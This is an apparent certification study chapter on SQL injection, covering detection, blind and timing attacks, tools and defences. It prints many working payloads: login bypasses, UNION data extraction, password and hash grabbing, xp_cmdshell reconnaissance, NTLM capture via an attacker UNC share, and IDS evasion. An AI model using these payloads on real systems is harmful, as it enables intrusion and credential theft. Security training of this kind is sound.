SQL injection is considered as the most common website vulnerability available on the Internet. It is a flaw in Web applications. It is not a database or webserver problem.

In this chapter, we will learn about SQL injection, SQL injection attacks, server side technologies, and SQL injection detection. This chapter focuses on blind SQL injection, SQL injection methodology, SQL injection tools, and defensive strategies against SQL injection attacks.   14.1 Understand SQL injection and SQL injection black box penetration testing Exam Focus: Understand SQL injection and SQL injection black box penetration testing. Objective includes:

Understand SQL injection. Examine SQL injection attacks. Identify server side technologies. Understand SQL injection detection. Discuss SQL injection black box pen testing.

  SQL injection attack An SQL injection attack is a process in which an attacker tries to execute unauthorized SQL statements. These statements can be used to delete data from a database, delete database objects such as tables, views, stored procedures, etc. An attacker can either directly enter the code into input variables or insert malicious code in strings that can be stored in a database.

For example, the following line of code illustrates one form of an SQL injection attack:

query = "SELECT * FROM users WHERE name = '" + userName + "';"

This SQL code is designed to fetch the records of any specified username from its table of users. However, if the "userName" variable is crafted in a specific way by a malicious hacker, the SQL statement may do more than the code author intended.

For example, if the attacker puts the "userName" value as ' or ''=', the SQL statement will be as follows:

SELECT * FROM users WHERE name = '' OR ''='';

The following is an example of a normal SQL query:

Select * from mytable where user name = 'Mark' and password =`12345`;

Example: Code analysis

A user enters a user name and password that matches a record in the table. The number of matched rows is retrieved using a dynamically generated SQL query. The user is then

authenticated and redirected to the requested page. The SQL query will look like as follows when the attacker enters blah' or 1=1--:

SELECT Count (*) FROM Users WHERE UserName= 'blah' Or 1=1 -- ' AND Password=' '

The query simply becomes as follows because a pair of hyphens designate the beginning of a comment in SQL:

SELECT Count(*) FROM Users WHERE UserName= 'blah' Or 1=1

The following is an example of SQL injection query:

Select * from mytable where user name = ''OR 1=1; --' and password=`dummy`;

The following attacks are performed by SQL injection based on the application and how it processes user-supplied data:

Authentication bypass: In this attack, an attacker can log onto an application and gain administrative privileges. The attacker does not even need to provide a valid username and password.

Information disclosure: In this attack, an attacker obtains sensitive information stored in the database.

Compromised data integrity: In this attack, an attacker defaces a webpage, inserts malicious content into web pages, or changes the content of a database.

Compromised availability of data: In this attack, an attacker deletes the information, deletes log, or audits information that is included in a database.

Remote code execution: In this attack, an attacker can compromise the host operating system.

The following image shows SQL injection threats:

  SQL injections There are many SQL injection attack codes for the blind SQL injection attack, which are as follows:

admin' -- admin' # admin'/* ' or 1=1-- ' or 1=1# ' or 1=1/* ') or '1'='1-- ') or ('1'='1-- Login as different user (SM*): ' UNION SELECT 1, 'anotheruser', 'doesn't matter', 1--

  Server side technologies Developers use powerful server-side technologies like ASP.NET and database servers to create dynamic and data-driven Web sites with incredible ease. Hackers can use SQL injection attacks to exploit the power of ASP.NET and SQL. SQL injection attacks target websites that do not follow secure coding practices to access and manipulate data stored in a relational database. They do not exploit specific software vulnerability. Relational databases such as SQL Server, Oracle, IBM DB2, and MySQL are susceptible to SQL-injection attacks.  HTTPS POST request When a user provides information and clicks the submit button in the Account Login page, the browser submits a string to the web server that includes the user's credentials. This string is visible in the body of the HTTP or HTTPS POST request as follows:

SQL query at the databaseselect * from Users where(username = 'mark' andpassword = 'johnson');<form action="/ cgi-bin/login" method=post>Username: <input type=text name=username>Password: <inputtype=password name=password><input type=submitvalue=Login>  SQL injection error messages An attacker tries to inject codes into the input field to produce an error. He also tries to insert a string value where a number is expected in the input field. Blind SQL injection techniques should be used if applications do not provide detailed error messages and return a simple '500 Server Error' or a custom error page.  Characters used in an SQL injection attack The characters used in the SQL injection attack are as follows:

Characters Description'or" Character String Indicators-- or # single-line comment/* */ Multiple-line comment+ addition, concatenate|| (double pipe) concatenate%wildcard attribute indicator? Param1=foo&Param2=barURL ParametersPRINT Useful as non-transactional command@variable Local variable@@variable Global variable?Param1=foo&Param2=bar URL parameterswait for delay '0:0:10' Time delay  SQL injection black box penetration testing In the SQL injection black box testing, it is assumed that no prior knowledge of the infrastructure is to be tested. The testers must first determine the location and extent of the systems before starting their analysis. The steps performed for the black box penetration testing are as follows:

Detecting SQL injection issues: The penetration tester sends a single quote or double quotes to catch instances where the user input is not sanitized.

Detecting SQL modification: The penetration tester sends long string of single quote characters or right square brackets or double quotes. These steps can max out the return values from the REPLACE and QUOTENAME functions and might truncate the command variable that is used to hold the SQL statements.

Detecting input sanitization: The penetration tester uses the right square bracket to catch the instances where the user input is used as a part of a SQL identifier without any input sanitization.

Detecting truncation issue: The penetration tester sends long strings of junk data. This action might throw SQL errors on the page.

  Methods used for detecting SQL injection The following methods are used for detecting SQL injection:

Fuzzing testing: It is an SQL injection testing technique used for discovering coding error. It inputs massive amount of data to crash a web application to discover codding error.

Function testing: It falls within the scope of black box testing. It needs no knowledge of the inner design of the code or logic.

Static/dynamic testing: It involves manual analysis of the web application source code.

  Steps for SQL injection detection Take the following steps for SQL injection detection:

1. Check if the web application connects to a database server to access some data.2. List all input fields, hidden fields, and post requests whose values can be used to craft a

SQL query.3. Try to inject codes into the input fields to produce an error.4. Attempt to insert a string value where a number is expected in the input field.5. Join a query to the original query using the UNION operator in SQL injections.6. Execute SQL injection by using detailed error messages. Detailed error messages provide

a wealth of information to an attacker.

  Testing for SQL injection The following are some testing strings for SQL injection:

Testing Strings Variations' Single code1' or '1'='1 1') or ('1'='1value' or '1'='2 value') or ('1'='21' and '1'='2 1') and ('1'='21' or 'ab'='a'+'b 1') or ('ab'='a'+'b1' or 'ab'='a' 'b 1') or ('ab'='a'||'b1' or 'ab'='a'||'b 1') or ('ab'='a'||'b';[SQL Statement];- ');[SQL Statement];-';[SQL Statement];# ');[SQL Statement];#;[SQL Statement];- );[SQL Statement];-

;[SQL Statement];# );[SQL Statement];#'; drop users-1+1 3-1value + 01 or 1=1 1) and (1=2value or 1=2 value) or (1=21 and 1=2 1) and (1=21 or 'ab'= 'a'+'b' 1) or ('ab'='a'+'b'1 or 'ab'='a' 'b' 1) or ('ab'='a' 'b1 or 'ab'='a'||'b' 1) or ('ab'='a'||'b'admin'-- admin')--admin' # admin')#1-- 1)--1 or 1=1-- 1) or 1=1--'or'1'='1'-- ') or '1'='1'---1 and 1=2-- -1) and 1=2--'and'1'='2'-- ') and '1'='2'--1/*comment*/  14.2 Understand types of SQL injection and blind SQL injection Exam Focus: Understand types of SQL injection and blind SQL injection. Objective includes:

Understand types of SQL Injection. Understand blind SQL injection.

  Types of SQL injection attacks There are mainly three types of SQL injection attacks, which are as follows:

Simple SQL injection: In the simple SQL injection attack, a simple select query is used in the user name and password fields. If a user with proper credentials exists, the user is allowed to login to the system, otherwise the access is denied. The example of such an attack is as follows:

$username = 1' or '1' = '1 $password = 1' or '1' = '1

The query will be as follows:

SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'

Union query: The UNION SELECT statement is used to return the union of the intended dataset with the target dataset.

Tautology: Queries always return results upon evaluation of a WHERE condition when injected statements are always true.

End of Line Comment: After injecting code into a particular field, end of line comments are used to nullify the legitimate code that follows.

Illegal/logical incorrect query: An attacker can inject illegal/logical incorrect requests such as injectable parameters, data types, names of tables, etc. in order to gain knowledge.

Union-based SQL injection: A union operator is used in SQL injections to join a query. It allows the hacker to obtain the values of fields of other tables. The example of the union-based SQL injection is as follows:

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

It will create the following query:

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

The above query will join the result of the original query with all the credit card users.

Union SQL injection - Extract Database User

http://[site]/page.asp?id=1 UNION SELECT ALL 1,USER,3,4--

[DB USER]

Union SQL injection - Extract Database Name

http://[site]/page.asp?id=1 UNION SELECT ALL 1,DB_NAME,3,4--

[DB NAME]

Union SQL injection - Extract Database Version

http://[site]/page.asp?id=1 UNION SELECT ALL 1,@@VERSION,3,4--

[DB VERSION]

Union SQL injection - Extract Server Name

http://[site]/page.asp?id=1 UNION SELECT ALL 1,@@SERVERNAME,3,4--

[SERVER NAME]

Union SQL injection - Extract Database Tables

http://[site]/page.asp?id=1 UNION SELECT ALL 1,name,3,4 from sysobjects where xtype=char(85)"

[TABLE NAME 1]

Union SQL injection - Extract Table Column Names

http://[site]/page.asp?id=1 UNION SELECT ALL 1,column_name,3,4 from DBNAME.information_schema.columns where table_name='TABLE-NAME-1'--

[COLUMN NAME 1]

Union SQL injection - Extract 1st Field

http://[site]/page.asp?id=1 UNION SELECT ALL 1,COLUMN-NAME-1,3,4 from TABLE-NAME-1--

[FIELD 1 VALUE]

Union SQL injection - Extract 2nd Field

http://[site]/page.asp?id=1 UNION SELECT ALL 1,COLUMN-NAME-2,3,4 from TABLE-NAME-1--

[FIELD 2 VALUE]

Union SQL injection - Extract 3rd Field

http://[site]/page.asp?id=1 UNION SELECT ALL 1,COLUMN-NAME-3,3,4 from TABLE-NAME-1--

[FIELD 3 VALUE]

Error-based SQL injection: In the error-based SQL injection, an attacker inputs the SQL that provides errors. The error sometimes provides the juicy information, such as database name and table name. The attacker uses this information to hack the database.

  Blind SQL injection attack Blind SQL (Structured Query Language) injection is a type of SQL Injection attack. It asks the database true or false questions and determines the answer on the basis of the applications response. This attack is generally used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.

Blind SQL injection is nearly identical to normal SQL Injection, the only difference being the way the data is retrieved from the database. An attacker is forced to steal data by asking the database a series of true or false questions when the database does not output data to the web page. This makes exploiting the SQL Injection vulnerability more difficult, but not impossible.  Timing attack A timing attack depends upon the SELECT IF(expression, true, false) MySQL query. It is based on the concept that BENCHMARK() will delay server responses if the expression is True.

BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')) - It will execute 5000000 times the ENCODE function.

Hence, the attacker specifies high number of BENCHMARK() function repetitions, which affect the server response time in a noticeable way.

1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM users WHERE user_id = 1;

If the server response was quite long, it shows that the first user password character with user_id = 1 is character '2'.

(CHAR(50) == '2')

By using the same method, the attacker can get the entire password stored in the database.  14.3 Learn SQL injection methodology Exam Focus: Learn SQL injection methodology. Objective includes:

Learn SQL injection methodology. Understanding SQL query.

  SQL injection methodology There are following steps of hacking in the SQL injection attack:

1. Information gathering2. SQL injection vulnerability detection 3. Launch SQL injection attacks4. Extract the data 5. Interact with the operating system

6. Compromise the network

  Information gathering step In the information gathering step of the SQL injection attack, the attacker extracts DB name, version, users, output mechanism, DB type, user privilege level, and OS interaction level. Error messages are necessary to extract information from the database. You can vary the attack techniques on the basis of errors found. The attacker may craft correct SQL injection statements by understanding the underlying SQL query. A different SQL syntax needs different databases. The database used by the server and the privilege level used by the database should be identified. The entire network can be compromised by interacting with the operating system via command shell execution.

Information can be extracted via error messages in the following ways:

Grouping error: The HAVING command permits further defining a query on the basis of the grouped fields. The columns that have been grouped are known by the error message.

Try mismatch: Try to insert strings into numeric fields. The error messages will exhibit the data that cannot get converted.

Blind injection: To determine extract information, use time delays or error signatures.

  SQL injection vulnerability detection In the SQL injection vulnerability detection step of the SQL injection attack, the attacker lists all input fields, hidden fields, and post requests. The attacker checks for all three types of SQL injection attacks, i.e., simple SQL injection attack, union-based SQL injection attack, and error-based SQL injection attack. An attacker tries to inject codes into the input fields in order to generate an error.  Launching of SQL injection attacks In the launching of SQL injection attacks step of the SQL injection attack, the attacker performs one of the following attacks:

1. Simple SQL injection2. Error-based SQL injection3. Union-based SQL injection

  Extraction of the data In the extraction of the data step of the SQL injection attack, the attacker extracts table names, columns, and table data.  Interaction with the operating system In the interaction with the operating system step of the SQL injection attack, the attacker penetrates additional machines on the network, installs Trojans and plants keyloggers.

  Compromise the network In the compromise the network step of the SQL injection attack, the attacker extracts OS and application passwords. He also accesses system files and executes commands interacting with OS.  SQL query Generally, the error messages will show you the DB engine you are using. ODBC errors will exhibit database type as part of the driver information. You can make an educated guess on the basis of the operating system and web server if you do not receive any ODBC error message. You should try to replicate an error free navigation. It can be as simple as ' and '1' = '1' or ' and '1' = '2.  Prepared SQL statements A prepared SQL statement is a template of an SQL statement that has been pre-parsed and compiled previously, and is ready to be executed by passing the accurate data to it. The parameters of prepared SQL statements are not being quoted since the driver automatically does this always. Hence, the prepared statements not only reduce the process criteria of developing the same SQL queries too many times, but also reduce the possibilities of SQL injection attacks. In the prepared statements, a placeholder can only store the value of the given type and not the arbitrary SQL fragment. Hence, the SQL injection would simply be treated as a strange (and probably invalid) parameter value.  mysql_real_escape_string The mysql_real_escape_string() function is used to escape special characters in a string for use in a SQL statement. It therefore makes data safe before sending the query to MYSQL. For example, a user runs the following PHP script:

<?php $name = mysql_real_escape_string($_POST["name"]); $password = mysql_real_escape_string($_POST["password"]); ?>

where the mysql_real_escape_string() function escapes all special characters such as \x00, \n, \n, \, ', ", and \x1a from strings $_POST["name"] and $_POST["password"]. Hence, the danger of the SQL injection attack is mitigated.  Bypass website logins using SQL injection You should try these at website login forms:

admin' -admin' #admin' /*' or 1=1--' or 1=1#' or 1=1/*' ) or '1'='1"') or ('1'='1--

Login as a different user:

' UNION SELECT 1,'anotheruser','doesn't matter', 1--

You can union the results with a known password and MD5 hash of the supplied password. Your password will be compared with the supplied MD5 hash by the web application.

Bypassing MD5 hash check, example:

Username : adminPassword : 3456 ' AND 1=0 UNION ALL SELECT 'admin', '81hj8bjk45nb4ljvhgdnjkjjk5454nkjhj543kjjh89bjhbh88989 = MD5 (3456)  Features of different DBMSs The following are the features of different DBMSs:

MySQL MSSQL MS Access Oracle DB2 PostgreSQL

String Concatenation concat(,) concat_ws(delim,) ' '+' ' " "&" " ' '||' '

" concat " " "+" " ' '||' '

' '||' '

Comments -- and/**/and # -- and /* No -- and /* -- -- and /*

Request Union union union and ; union union union union and ;

Sub-requests v.41 > = Yes No Yes Yes YesStored Procedures No Yes No Yes No YesAvailability of information_schema or its analogs

v.5.0>= Yes Yes Yes Yes Yes

  Creating a database account A database account can be created in the following ways:

Microsoft SQL Server

exec sp_addlogin 'mark', 'user456'exec sp_addsrvrol emember 'mark','sysadmin'

Oracle

CREATE USER mark IDENTIFIED BY user456TEMPORARY TABLESPACE tempDEFAULT TABLESPACE users;GRANT CONNECT TO mark;GRANT RESOURCE TO mark;

MySQL

INSERT INTO mysql.user(user, host, password)VALUES ('mark', 'localhost', PASSWORD ('user456'))

Microsoft Access

CREATE USER markIDENTIFIED BY 'user456'  14.4 Examine advanced enumeration, describe password grabbing, and discuss grabbing SQL Server hashes Exam Focus: Examine advanced enumeration, describe password grabbing, and discuss grabbing SQL Server Hashes. Objective includes:

Examine advanced enumeration. Describe password grabbing. Discuss grabbing SQL Server hashes.

  Password grabbing An attacker runs the following query for password grabbing:

'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login > @var select @var as var into temp end --

' and 1 in (select var from temp)--

' ; drop table temp --  Advanced enumeration Enumeration is used to gather information to gain access of the system. The attacker may try this by guessing usernames and passwords, sniffing password hashes, and exploiting vulnerabilities. You must review your previous enumeration findings to guess usernames and passwords. Enumeration may have returned router configurations with passwords that can be cracked, or user accounts that appear to have default or no passwords.  Database, table, and column enumeration Several SQL built-in scalar functions are available. They will be used in most SQL implementation:

user or current_user, session_user, system_user' and 1 user ='dbo' waitfor delay '0:0:5 '--' union select if ( user() like 'root@%',benchmark (50000, shal1 ('test')), 'false' );

Default administrators include the following:

sa system sys dba admin root

The dbo is a user that has implied permissions in order to carry out all activities in the database. Any object created by any member of the sysadmin fixed server role belongs to dbo automatically.

To determine table and column names:

' group by columnnames having 1=1 --

To discover column name types:

' union select sum (columnname ) from tablename --

To enumerate user defined tables:

' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --  Grabbing SQL Server hashes The following query is used to extract the hashes:

SELECT password FROM master. . sysxlogins

The following queries are executed to hex each hash:

begin @charvalue='0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while (@i<=@length) BEGIN declare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int,SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR (@tempint/16) select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1)

select @i=@i+1 END

Then, a user is required to cycle via all passwords and use the following SQL query:

SELECT name, password FROM sysxlogins

Convert hashes -> Hex -> concatenate to display the hashes via an error message. dbo access is required by password fields. With lower privileges, a user can still recover usernames and brute force the password.

The following is the SQL server hash sample:

0 010034767d5c0cfa5fdca28c4a56085e65e882e71cb0ed2503412fd54d6119fff04129a1d72e7c3194f7284A7f3A

To extract hashes via error messages:

' and 1 in (select x from temp) --' and 1 in (select substring (x, 256, 256) from temp) --' and 1 in (select substring (x, 512, 256) from temp) -' drop table temp --  Bypassing MD5 hash login check An attacker can bypass the MD5 hash login check. For this, the attacker unions results with a known password and MD5 hash of supplied password. The example of bypassing MD5 hash login check is as follows:

Username : admin Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)  Bypassing SQL Server -sp_password log SQL Server does not log queries, which include sp_password for security reasons. So if an attacker adds --sp_password to the SQL queries, SQL queries will not be stored in the SQL Server logs. However, Web servers log the queries.  Potentially useful MySQL injection functions The potentially useful MySQL injection functions are as follows:

1. MD5(): It is used for MD5 hashing. 2. SHA1(): It is used for SHA1 hashing.3. PASSWORD(): It is used for default password hash of MySQL server.4. ENCODE(): It is used for encoded password. 5. COMPRESS(): It is used to compress data. It can be great in large binary reading in

Blind SQL Injections.6. ROW_COUNT(): It is used to count number of rows return.7. VERSION(): It is used to detect the version of the MySQL server.

  Forcing MySQL server to get NTLM hashes

Using the SQL injection attack, an attacker can get SQL Server user's Windows password of the target server. In this approach, the attacker forces SQL Server to connect to Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.

Bulk insert from a UNC Share (S) bulk insert foo from '\\IPADDRESS\C$\x.txt'  Transfer database to attacker's machine OPENROWSET can be used to link the SQL Server to the attacker's DB. The DB structure is replicated and data is transferred by connecting to a remote machine on port 80.  Interacting with the FileSystem The LOAD_FILE() function in MySQL is used for reading and returning the content of a file that are within the MySQL server.

The INTO OUTFILE() function in MySQL is generally used for running a query, and dumping the results into a file.

The injection will display the contents of the passwd files if the following query runs successfully:

NULL UNION ALL SELECT LOAD_FILE ( '/etc/passwd' ) /*

System commands can be run through the $_GET global if the following query runs successfully:

NULL UNION ALL SELECT NULL, NULL, NULL, '<?php' /var/www/juggyboy.com/shell.php'/*

Network connectivity is necessary to expand the influence into the operating system. This can be accomplished using different types of techniques. To run OS level networking commands, the database can be interrogated for the server name and xp_cmdshell can be used. Reverse connections can also be used as they give information about the remote IPs or even permit us to upload files.

The following can be executed using the xp_cmdshell command:

Ipconfig /all Tracert myIP arp -a nbtstat -c netstat -ano route print

A very detailed network configuration can be retrieved by executing these commands. The following statements can be executed to execute network reconnaissance in simple steps:

'; declare @var varchar(256); set @var = ' del test.txt && arp -a >> test.txt && ipconfig /all >> test.txt &&

nbtstat -c >> test.txt && netstat -ano >> test.txt && route print >> test.txt && tracert -w 10 -h 10 google.com >> test.txt'; EXEC master..xp_cmdshell @var -

'; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' -

'; begin declare @data varchar(8000) ; set @data=': ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --

' and 1 in (select substring(x,1,255) from temp) - '; declare @var sysname; set @var = 'del test.txt'; EXEC

master..xp_cmdshell @var; drop table temp; drop table tmp --  14.5 SQL injection tools Exam Focus: SQL injection tools. Objective includes:

Absinthe SQLMap BobCat

  SQL injection tools The following are SQL injection tools:

SQL Brute Absinthe BobCat SQL Injection Brute-forcer Sqlninja SQLMap SQLGET SQL Injection Digger Pangolin - Automatic SQL Injection Penetration Testing Tool sqlbf FJ-Injector Framework Exploiter (beta) SQLIer NGSSQuirrel Sqlsus SQLEXEC() Function

  Absinthe Absinthe is an automated tool that is used to implement SQL injections and to retrieve data from Web server databases. The following are the features of Absinthe:

It supports Web application injection parameters. It supports SQL injections on various databases, i.e., MS SQL Server, MSDE, Oracle,

and Postgres.

It supports cookies and additional HTTP Headers. It supports additional text appended to queries. It supports the use of Proxies/Proxy Rotation. It supports multiple filters for page profiling and custom delimiters.

  BobCat BobCat is a tool that is used to aid an auditor in taking full advantage of SQL injection vulnerabilities. It is based on AppSecInc research. It can display a list of linked servers and database schema. It allows the retrieval of data from any table that the current application user has access to.  SQLMap SQLMap is an automatic blind SQL injection tool. It can perform an active database management system fingerprint, enumerate entire remote databases, and much more. SQLMap is used to implement a fully functional database management system tool that takes advantages of Web application programming security flaws, which lead to SQL injection vulnerabilities.  SQLID SQLID (SQL Injection digger) is a command-line program that is used to look for SQL injections and common errors in a website. The following tasks can be performed by SQLID:

Looking for SQL injection in Web pages Testing submit forms for possible SQL injection vulnerabilities

  FG-Injector FG-Injector is a free open source framework designed to help find SQL injection vulnerabilities in Web applications. It contains a proxy feature to intercept and modify HTTP requests and an interface for automating SQL injection exploitation.  NGSS SQL Injector NGSS SQL Injector is a tool that is used to exploit vulnerabilities in SQL injection on dissimilar database servers for gaining access to stored data. The following databases are supported by NGSS SQL Injector:

Access DB2 Informix MSSQL MySQL Oracle Sybase

  SQL Power Injector

SQL Power Injector is an application created in .Net 1.1. It is an automated SQL injection tool. It helps the penetration tester to find and exploit SQL injections on a web page. For now it is SQL Server, Oracle, MySQL, Sybase/Adaptive Server and DB2 compliant, but it can be used with any existing DBMS when using the inline injection (Normal mode). SQL Power Injector detects predefined SQL errors in the response page.  Marathon A malicious user can use the marathon tool to send heavy queries to perform time-based blind SQL injection attack. The following are application supported features:

Database Schema extraction from SQL Server, Oracle and MySQL Data extraction from Microsoft Access 97/2000/2003/2007 databases Parameter Injection using HTTP GET or POST SSL support HTTP proxy connection available Authentication methods: Anonymous, Basic, Digest and NTLM Variable and value insertion in cookies (Does not support dynamic values) Configurable Log

  Havij An attacker can use the Havij tool for the following purposes:

Perform back-end database fingerprint. Retrieve DBMS user and password hashes. Dump tables and columns. Fetch data from the database. Run SQL statements. Access the underlying file system and execute commands on the operating system.

  BSQLHacker BSQLHacker is an automated SQL injection tool. It supports the following:

Blind SQL injection Time-based blind SQL injection Deep blind SQL injection Error-based SQL injection

  SQL injection detection tools The following are the SQL injection detection tools:

Microsoft Source Code Analyzer: It is a static code analysis tool that is used to find SQL Injection vulnerabilities in ASP code.

Microsoft UrlScan: It is a tool that prevents certain types of specific HTTP requests from reaching an IIS server.

dotDefender: It is used to provide plug-and-play protection against SQL Injection, Cross-site scripting, Path Traversal, and many other application attacks.

IBM AppScan: It is used to manage vulnerability testing throughout the software development life cycle.

SQLDict: It is a dictionary attack tool for SQL Server. It allows a user to test if the accounts are strong enough to resist an attack or not.

  14.6 Understand defensive strategies against SQL injection attacks Exam Focus: Understand defensive strategies against SQL injection attacks. Objective includes:

Understand defensive strategies against SQL injection attacks. Understand evasion techniques for SQL injection.

  Defending against SQL injection attacks The following actions are taken to defend against SQL injection attacks:

Database service account with minimal rights should be run. Commands such as xp_cmdshell should be disabled. All error messages should be suppressed. Custom error messages should be used. Web applications are vulnerable to SQL injection attacks. An IDS, WAP should be used to monitor DB traffic. Low privileged accounts should be used for DB connection. All client data should be filtered. Data should be sanitized. No assumptions should be made about the size, type, or content of the data received by

the application. The size and data type of input should be tested and appropriate limits should be enforced

to prevent buffer overruns. The content of string variables should be tested and only expected values should be

accepted. Entries that include binary data should be rejected, sequences should be escaped, and

characters should be commented. Transact-SQL statements should never be built directly from user input and stored

procedures should be used to validate user input. Multiple layers of validation should be implemented and user input that is not validated

should never be concatenated. Type-safe SQL parameters should be used to defend against SQL injection attacks.

  Types of signature evasion techniques The following are types of signature evasion techniques:

Sophisticated matches: It uses alternative expression of "OR 1=1". Hex encoding: It uses hexadecimal encoding for representing a SQL query string. Manipulating white spaces: It drops white space between SQL keyword for obscuring

input strings. Obfuscated code: It is an SQL statement that has been made difficult to understand.

White spaces manipulation technique obfuscates input strings. It drops or adds white spaces between SQL keyword and string or number literals. It does this without altering executions of SQL statements.

An SQL statement become completely untraceable without changing the execution of the statement when white spaces are added using special characters such as tab, carriage return or linefeeds.

In-line comment: It obscures input strings. It inserts in-line comments between SQL keywords. To delimit multirow comments, /* */ is used.

For example:

UNION/**/SELECT/**/'/**/OR/**/1/**/=/**/1

Char encoding: It uses built-in CHAR function to represent a character. The Char () function can be used for injecting SQL injection statements into MySQL without using double quotes.

String concatenation: It concatenates text for creating SQL keyboards using DB specific instructions.

  Sophisticated matches The following are SQL injection characters:SQL injection characters Description

' or ' Character String Indicators

-- or # Single-line comment/* */ Multiple-line comment+ addition, concatenate (or space in url)|| (double pipe) concatenate% Wildcard attribute indicator?Param1=foo&Param2=bar URL ParametersPRINT Useful as non-transactional command@variable Local variable@@variable Global variable

wait for delay '0:0:10' Time delay

Evading ' OR 1=1 signature involves:

' OR 'unusual' = 'unusual' ' OR 'something' = 'some'+'thing' ' OR 'text' = N'text' ' OR 'something' like 'some%' ' OR 9 > 8 ' OR 'text' > 't' ' OR 'whatever' IN ('whatever') ' OR 7 BETWEEN 8 AND 9

  MySQL Input Validation Circumvention using Char()

Inject without quotes (string = "%"):

' or username like char(37);

Inject without quotes (string = "root"):

' union select * from users where login = char(114,111,111,116);

Load files in unions (string = "/etc/passwd"):

' union select 1, (load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;

Check for existing files (string = "n.ext"):

' and 1=( if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0));  Evading IDS Attackers use evasion techniques to obscure input strings from being detected by signature -based detection systems. Signature-based detection systems make a database of SQL injection attack strings (signatures) and then compare input strings against the signature database at runtime in order to detect attacks.

  Countermeasures against database attacks The following are the countermeasures against database attacks:

Input Sanitization: The Database Administrator must sanitize any input received from a user. The data submitted should be checked for data type (integer, string, and so on) and stripped of any undesirable characters, such as meta-characters.

Adherence to strong firewall rules: Be sure to check firewall rules from time to time and always block any database access ports, such as TCP and UDP 1434 (MS SQL) and TCP 1521-1530 (Oracle).

Modification of error reports: To avoid a SQL injection, the developer should handle or configure error reports in such a way that the error is not visible to outside users. In these error reports, a full query is sometimes shown, pointing to the syntax error involved, and the attacker could use it for further attacks. A display of errors should be restricted only to internal users.

Stored procedure removal: Be sure to remove all stored procedures (including extended stored procedures) from the entire database. These seemingly innocent scripts can help an attacker topple even the most secure databases.

Session encryption: When a database server is separate from a Web server, be sure to encrypt the session stream using any method, such as using IPSec native to Windows 2000.

Least privilege: The default system account (sa) for SQL Server 2000 should never be used.

Escape quotes: Replace all single quotes with two single quotes.

  SQLMap SQLMap is an automatic blind SQL injection tool. It can perform an active database management system fingerprint, enumerate entire remote databases, and much more.  SQL Power Injector

SQL Power Injector is an application created in .Net 1.1. It is an automated SQL injection tool. It helps the penetration tester to find and exploit SQL injections on a web page.  Chapter Summary In this chapter, we learned about SQL injection, SQL injection attacks, server side technologies, and SQL injection detection. This chapter covered blind SQL injection, SQL injection methodology, SQL injection tools, and defensive strategies against SQL injection attacks.Glossary  Absinthe Absinthe is an automated tool that is used to implement SQL injections and to retrieve data from Web server databases.  FG-Injector FG-Injector is a free open source framework designed to help find SQL injection vulnerabilities in Web applications.  NGSS SQL Injector NGSS SQL Injector is a tool that is used to exploit vulnerabilities in SQL injection on dissimilar database servers for gaining access to stored data.  SQL injection SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application (like queries).  Timing attack A timing attack depends upon the SELECT IF(expression, true, false) MySQL query. It is based on the concept that BENCHMARK() will delay server responses if the expression is True.